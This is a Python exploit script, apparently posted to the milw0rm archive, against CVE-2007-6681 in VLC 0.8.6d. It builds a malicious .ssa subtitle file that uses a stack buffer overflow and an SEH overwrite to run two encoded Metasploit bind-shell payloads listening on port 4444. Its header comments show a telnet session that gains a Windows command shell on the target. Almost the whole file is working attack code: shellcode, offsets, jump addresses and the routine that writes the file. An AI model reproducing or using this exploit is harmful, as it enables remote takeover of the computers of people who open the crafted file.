#!/usr/bin/python
#
# VLC 0.8.6d Double Sh311 Universal Exploit
# CVE-2007-6681
# Vulnerability Discovered by Michal Luczaj
#
# Coded by Muris Kurgas aka j0rgan http://www.jorgan.users.cg.yu/
# and
# Matteo Memelli aka ryujin http://www.be4mind.com - http://www.gray-world.net
# WE CODED IT JUST FOR FUN ;)
# Cheers to #offsec and all our firends :) and prelate_ hehe
#-----------------------------------------------------------------------------
#
# FIRST SHELL -> NORMAL RET OVERWRITE -> WE OWN EIP
#
# matte@badrobot:~$ telnet 192.168.1.245 4444
# Trying 192.168.1.245...
# Connected to 192.168.1.245.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\VideoLAN\VLC>exit
# exit
#
# AT "EXIT" SEH is CALLED and WE OWN EIP AGAIN :P
# SECOND SHELL -> SEH OVERFLOW
#
# Connection closed by foreign host.
# matte@badrobot:~$ telnet 192.168.1.245 4444
# Trying 192.168.1.245...
# Connected to 192.168.1.245.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\VideoLAN\VLC>
#-----------------------------------------------------------------------------

# win32_bind -  EXITFUNC=seh LPORT=4444
# Size=709 Encoder=PexAlphaNum http://metasploit.com
SHELLCODE1 = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
"\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48"
"\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x43\x4b\x48\x4e\x37"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x38"
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x4a\x32\x45\x57\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x48"
"\x49\x38\x4e\x36\x46\x42\x4e\x51\x41\x46\x43\x4c\x41\x33\x4b\x4d"
"\x46\x56\x4b\x58\x43\x54\x42\x33\x4b\x48\x42\x34\x4e\x50\x4b\x38"
"\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x34\x4a\x50\x50\x35\x4a\x36"
"\x50\x48\x50\x54\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56"
"\x43\x35\x48\x56\x4a\x56\x43\x53\x44\x53\x4a\x36\x47\x37\x43\x57"
"\x44\x33\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x48\x45\x4e"
"\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x55\x4c\x46\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x45\x43\x55\x43\x55\x43\x45\x43\x34"
"\x43\x55\x43\x34\x43\x55\x4f\x4f\x42\x4d\x48\x46\x4a\x56\x41\x51"
"\x4e\x55\x48\x46\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a"
"\x4c\x51\x42\x47\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x31"
"\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x36\x45\x4e\x49\x34\x48\x38\x49\x54\x47\x45\x4f\x4f\x48\x4d"
"\x42\x45\x46\x55\x46\x35\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x46"
"\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x35\x4f\x4f\x48\x4d\x45\x45"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x56\x48\x46\x4a\x36\x43\x36"
"\x4d\x56\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x55\x49\x42\x4e\x4c"
"\x49\x58\x47\x4e\x4c\x36\x46\x54\x49\x58\x44\x4e\x41\x43\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x54\x4e\x42"
"\x43\x49\x4d\x48\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x57\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x37\x46\x54\x4f\x4f"
"\x48\x4d\x4b\x55\x47\x55\x44\x45\x41\x55\x41\x55\x41\x35\x4c\x46"
"\x41\x30\x41\x35\x41\x55\x45\x55\x41\x35\x4f\x4f\x42\x4d\x4a\x46"
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f"
"\x43\x48\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d"
"\x4a\x36\x42\x4f\x4c\x38\x46\x50\x4f\x35\x43\x55\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a"
)

# win32_bind -  EXITFUNC=thread LPORT=4444
# [*] x86/alpha_mixed succeeded, final size 698
SHELLCODE2 = (
"\x89\xe7\xd9\xcb\xd9\x77\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x42\x4a\x4a\x4b\x50\x4d\x4a\x48\x4a\x59\x4b\x4f\x4b"
"\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x46\x44\x51\x34\x4c\x4b"
"\x51\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x43\x31\x4a"
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31"
"\x4a\x4b\x50\x49\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x50"
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43\x37"
"\x49\x51\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47"
"\x4b\x51\x44\x47\x54\x47\x58\x42\x55\x4b\x55\x4c\x4b\x51\x4f"
"\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c"
"\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x43\x33\x46\x4c\x4c\x4b"
"\x4d\x59\x42\x4c\x47\x54\x45\x4c\x45\x31\x48\x43\x50\x31\x49"
"\x4b\x45\x34\x4c\x4b\x50\x43\x50\x30\x4c\x4b\x47\x30\x44\x4c"
"\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51"
"\x4e\x43\x58\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f"
"\x4e\x36\x45\x36\x50\x53\x45\x36\x42\x48\x46\x53\x50\x32\x42"
"\x48\x42\x57\x42\x53\x46\x52\x51\x4f\x51\x44\x4b\x4f\x4e\x30"
"\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x4e"
"\x36\x51\x4f\x4b\x39\x4b\x55\x42\x46\x4b\x31\x4a\x4d\x43\x38"
"\x45\x52\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38\x4e"
"\x39\x44\x49\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48\x56\x50\x53"
"\x51\x43\x46\x33\x46\x33\x51\x43\x47\x33\x51\x43\x47\x33\x51"
"\x43\x4b\x4f\x4e\x30\x43\x56\x43\x58\x44\x51\x51\x4c\x45\x36"
"\x46\x33\x4d\x59\x4b\x51\x4a\x35\x42\x48\x4e\x44\x45\x4a\x42"
"\x50\x49\x57\x46\x37\x4b\x4f\x4e\x36\x43\x5a\x44\x50\x50\x51"
"\x50\x55\x4b\x4f\x48\x50\x42\x48\x49\x34\x4e\x4d\x46\x4e\x4b"
"\x59\x46\x37\x4b\x4f\x48\x56\x51\x43\x46\x35\x4b\x4f\x48\x50"
"\x45\x38\x4b\x55\x51\x59\x4d\x56\x47\x39\x51\x47\x4b\x4f\x48"
"\x56\x46\x30\x46\x34\x46\x34\x51\x45\x4b\x4f\x4e\x30\x4a\x33"
"\x45\x38\x4d\x37\x43\x49\x48\x46\x43\x49\x51\x47\x4b\x4f\x4e"
"\x36\x51\x45\x4b\x4f\x48\x50\x43\x56\x43\x5a\x43\x54\x43\x56"
"\x43\x58\x42\x43\x42\x4d\x4b\x39\x4b\x55\x42\x4a\x50\x50\x46"
"\x39\x46\x49\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4d\x59"
"\x4b\x52\x50\x31\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x51\x52\x46"
"\x4d\x4b\x4e\x47\x32\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x47\x48"
"\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x43\x42\x4b\x4e\x4e\x53\x44"
"\x56\x4b\x4f\x44\x35\x47\x34\x4b\x4f\x49\x46\x51\x4b\x50\x57"
"\x46\x32\x50\x51\x46\x31\x50\x51\x43\x5a\x45\x51\x46\x31\x46"
"\x31\x46\x35\x46\x31\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x48\x59"
"\x44\x45\x48\x4e\x51\x43\x4b\x4f\x49\x46\x43\x5a\x4b\x4f\x4b"
"\x4f\x50\x37\x4b\x4f\x4e\x30\x4c\x4b\x51\x47\x4b\x4c\x4b\x33"
"\x48\x44\x42\x44\x4b\x4f\x49\x46\x50\x52\x4b\x4f\x4e\x30\x42"
"\x48\x4a\x4f\x48\x4e\x4d\x30\x45\x30\x46\x33\x4b\x4f\x49\x46"
"\x4b\x4f\x4e\x30\x44\x4a\x41\x41" )

OFFSET1 = 'A'*152242
NOP1    = '\x90'*16
OFFSET2 = 'B'*10901
JMPESP  = '\x59\x65\xFE\x62'     # 0x62FE6559     jmp ESP libvlc.dll
OFFSET3 = 'C'*674
SEH     = '\x66\x14\x40'         # POP POP RET   in vlc.exe
JMPBACK = '\xE9\x2E\xCD\xFF\xFF' # ^E9 2ECDFFFF  JMP 0250CCD2
JMPS    = '\xEB\xF9\x90\x90'
EVIL    = OFFSET1 + NOP1 + SHELLCODE1 + OFFSET2 + JMPESP + SHELLCODE1 + OFFSET3 + JMPBACK + JMPS + SEH

fileHandle = open('film1.ssa', 'w' )
fileHandle.write('[Script Info]\n')
fileHandle.write('ScriptType: v4.00\n')
fileHandle.write('Title: VLC 0.8.6d buffer-overflow\n')
fileHandle.write('Collisions: Normal\n\n')
fileHandle.write('[V4 Styles]\n\n')
fileHandle.write('[Events]\n')
fileHandle.write('Dialogue: '+ EVIL)
fileHandle.close()

# milw0rm.com [2008-05-23]
